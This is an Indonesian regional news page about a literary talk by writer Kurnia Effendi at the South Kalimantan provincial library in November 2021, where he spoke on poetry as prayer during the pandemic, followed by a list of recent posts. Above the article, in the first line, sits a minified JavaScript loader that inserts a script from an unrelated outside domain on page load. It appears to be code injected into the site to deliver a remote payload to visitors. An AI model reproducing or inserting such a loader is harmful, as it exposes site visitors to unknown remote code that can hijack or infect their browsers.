(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

Bincang Sastra Bersama Kurnia Effendi, Puisi Jadi Doa di Kala Pandemi


KANALKALIMANTAN.COM, BANJARMASIN – Sastrawan Kurnia Effendi berbagi ilmu aspek menghibur pada puisi kala pandemi, ketika mengisi acara “Bincang Sastra” di Perpustakaan Palnam Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan, Selasa (30/11/2021).

“Puisi yang disampaikan bisa menjadi doa agar suasana masa pandemi cepat berakhir nantinya,” katanya.

Penerima penghargaan sastra dari Badan Bahasa untuk bukunya Anak Arloji ini menambahkan, aspek-aspek menghibur untuk membuat puisi terutama tema harus diperhatikan.

Para pembuat puisi diminta untuk memiliki ide yang menyatu agar fokus dengan materi yang disampaikan dan harus banyak menguasai kosakata.

 

Baca juga : Dipaksa Banjir, Pedagang Pasar Agrobisnis Barabai Gelar Lapak di Jalan Raya

“Karena puisi antara baris satu dan dua, serta lainnya ada kaitannya, sehingga membuat maknanya menjadi utuh,” paparnya.

Menurutnya, puisi sebagai motivasi dan keinginan-keinginan bisa tersampaikan dalam karya yang ditulis dan dalam puisi juga mengandung demografi.

“Dengan tulisan yang eksotis, bisa menjadi pengetahuan universal dari berbagai wilayah,” katanya.

Kurnia Effendi meminta sastrawan Kalsel terus berkarya di tengah pandemi Covid-19 yang masih melanda.

“Kita berharap, para penyair, puisi dan sastrawan untuk terus berkarya dan ciptakan aspek-aspek kebaikan kepada masyarakat lewat karya tulisnya,” pintanya.

 

Baca juga : Camat Pulau Petak Lantik 10 Penjabat Kades

Kurnia Effendi sengaja didatangkan Dispersip Kalsel untuk mengisi Bincang Sastra di Perpustakaan Palnam” Banjarmasin.

Kepala Bidang Pelayanan dan Pembinaan Perpustakaan Wildan Akhyar mengatakan, Bincang Sastra ini merupakan salah satu program Dispersip Kalsel untuk menghadirkan tokoh-tokoh literasi dan sempat tertunda hampir dua tahun.

“Alhamdulillah tamu istimewa ini akhirnya dapat datang secara tatap muka, berbagi pengetahuan dan pengalaman serta menambah semangat para penggiat literasi untuk terus berkarya dan semoga dapat meningkatkan lagi literasi di daerah,” ujarnya. (kanalkalimantan.com/rls)

Reporter : rls
Editor : kk


Desy Arfianty

Recent Posts

Berbaur dengan Masyarakat, Bupati dan Wabup Banjar Nobar Indonesia Vs Uzbekistan

KANALKALIMANTAN.COM, MARTAPURA - Alun-alun Ratu Zalecha, Martapura dipilih menjadi tempat nonton bareng (nobar) Semi Final… Read More

1 jam ago

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

4 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

4 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

4 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

4 jam ago

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

4 jam ago

This website uses cookies.